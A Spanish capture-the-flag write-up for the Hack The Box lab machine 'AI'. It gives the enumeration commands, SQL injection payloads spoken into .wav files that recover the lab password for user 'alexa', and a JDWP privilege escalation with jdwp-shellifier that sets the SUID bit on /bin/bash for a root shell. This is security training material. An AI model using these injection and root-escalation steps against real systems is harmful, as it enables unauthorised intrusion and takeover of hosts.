HTB: AI(Linux, dificultad media)

Descripción

«AI» es una máquina de dificultad media basada en Linux que presenta un enfoque innovador para la explotación de vulnerabilidades mediante el uso de archivos de audio. La máquina está tematizada como un asistente inteligente, similar a dispositivos como Amazon Echo o Google Home.

Explotación Inicial (SQL Injection a través de reconocimiento de voz)

El primer servicio vulnerable es una interfaz web que acepta archivos de sonido para su procesamiento. Este servicio, ejecutado en Apache, se encuentra expuesto a una vulnerabilidad de inyección SQL en el procesamiento de las consultas generadas por la transcripción de audio. Para explotarla, se genera un script automatizado que convierte comandos de inyección SQL en archivos de audio. Estos archivos se suben al servicio y permiten extraer credenciales de la base de datos.

Acceso Inicial (SSH con credenciales obtenidas)

Con las credenciales extraídas de la base de datos, es posible iniciar sesión en la máquina mediante SSH como un usuario válido.

Escalada de Privilegios (Explotación de Java Debugging en Tomcat)

Al enumerar los procesos en ejecución, se descubre que hay una instancia de Apache Tomcat corriendo en localhost, con el puerto de depuración de Java (JDWP – Java Debug Wire Protocol) habilitado. Este puerto se reenvía a la máquina atacante mediante SSH port forwarding y se utiliza para ejecutar código arbitrario en la máquina. Debido a que Tomcat se está ejecutando como root, se obtiene una shell con privilegios máximos.

Resumen de la explotación:

  1. Identificación de un servicio de reconocimiento de voz vulnerable en Apache.
  2. Uso de archivos de audio para explotar una inyección SQL y obtener credenciales.
  3. Uso de las credenciales para acceder mediante SSH.
  4. Descubrimiento de un servicio Tomcat con Java Debugging habilitado.
  5. Explotación del puerto JDWP para ejecutar código y obtener acceso root.

Enumeración

Enumeración de puertos

Comenzamos la resolución de la máquina AI enumerando los servicios que tienen disponibles

nmap -p- --min-rate 2500 -Pn -n 10.10.10.163

Encontramos el puerto 22 y 80 abiertos. El siguiente paso será analizar de forma detallada estos dos puertos.

Detallado de puertos:

  • Puerto 22: OpenSSH 7.6
  • Puerto 80: Apache 2.4.29

Enumeración Web

Comenzamos a revisar el servicio Web que se está ejecutando en el puerto 80.

Comenzamos enumerando directorios y archivos disponibles en el servidor.

dirsearch -u 10.10.10.163 -i 200,301

Mientras se completa el escaneo de directorios, revisamos el sitio Web y los endpoints donde podemos acceder. Accedemos a un endpoint «ai.php» donde parece que se pueden cargar archivos .wav

Explotación

Buscando información sobre explotación utilizando este tipo de archivo, encontramos text2wave que convierte el texto en audio en formato .wav.

Creamos el siguiente archivo.

echo "hello" | tee archivo.txt
text2wave archivo.txt -o prueba.wav

El servidor procesa el contneido del archivo .wav y muestra el texto en la interfaz. Que significa esto, que el servidor está conviertiendo estos datos utilziando la base de datos. Vamos a tratar de de manipular el comportamiento del servidor mediante el uso de consultas a la base de datos cargadas en un archivo .wav

text2wave archivo.txt -o prueba.wav
echo "open single quote - join - select database open parenthesis - close parenthesis - comment database" | tee consulta1.txt

Obtenemosun nombre de usuario «alexa». Vamos a modificar la petición para tratar de localizar la contraseña de este usuario.

echo "open single quote - join - select password - from users - comment database" | tee consulta2.txt

Obtenemos una posible contraseña

La contraseña es «H,Sq9t6}a<)?q93_»

Con las credenciales obtenidas, vamos a conectarnos al objetivo utilizando el servicio de SSH.

Vamos a por la flag de usuario

Elevación de privilegios

Comenzamos la elevación de privilegios comprobando si el usuario puede ejecutar binarios como sudo y si existen binarios con el bit SUID activo.

Pero no es posible utilizar estos vectores para elevar privilegios.
Haciendo una comprobación de los procesos que se están ejecutando, detectamos la presencia de un proceso java que se está ejecutando como root.

ps aux

Buscando posibles vías para aprovechar esto para elevar privilegios, encontramos el siguiente exploit que permite la ejecución arbitraría de código.
Descargamos el exploit y lo transferimos a la máquina objetivo haciendo uso de un servidor python HTTP.

python3 -m http.server

Una vez transferido el exploit, ejecutamos de la siguiente forma para activar el bit SUID para el binario /bin/bash.

python2 jdwp-shellifier.py -t localhost --cmd 'chmod u+s /bin/bash'

Si volvemos a comprobar los binarios que tienen activos el bit SUID, podremos encontrar el binario /bin/bash

Ahora para la elevación de privilegios, tan solo deberemos ejecutar «/bin/bash -p» para obtener una shell con privilegios elevados.

En lugar de transferir el exploit al objetivo, también podemos redireccionar el puerto 8000 de localhost del objetivo a nuestra máquina de ataque para poder ejecutar el exploit desde nuestro equipo.

ssh -L 8000:localhost:8000 alexa@10.10.10.163
python2 jdwp-shellifier.py -t localhost -p 8000 --cmd 'chmod u+s /bin/bash' 

Y podríamos olver a levantar una shell con privilegios elevados utilizando bash.

No responses yet

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *